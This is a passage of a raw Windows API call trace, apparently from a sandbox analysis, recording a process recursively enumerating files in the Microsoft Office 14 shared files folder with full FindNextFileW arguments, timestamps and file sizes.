hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0080.695] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0080.696] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0080.696] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0080.697] GetProcessHeap () returned 0x470000 [0080.697] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0080.697] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0080.697] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0080.697] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0080.697] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0080.697] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0080.697] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0080.698] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0080.699] GetProcessHeap () returned 0x470000 [0080.699] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0080.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0080.699] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0080.699] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0080.699] GetProcessHeap () returned 0x470000 [0080.699] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, 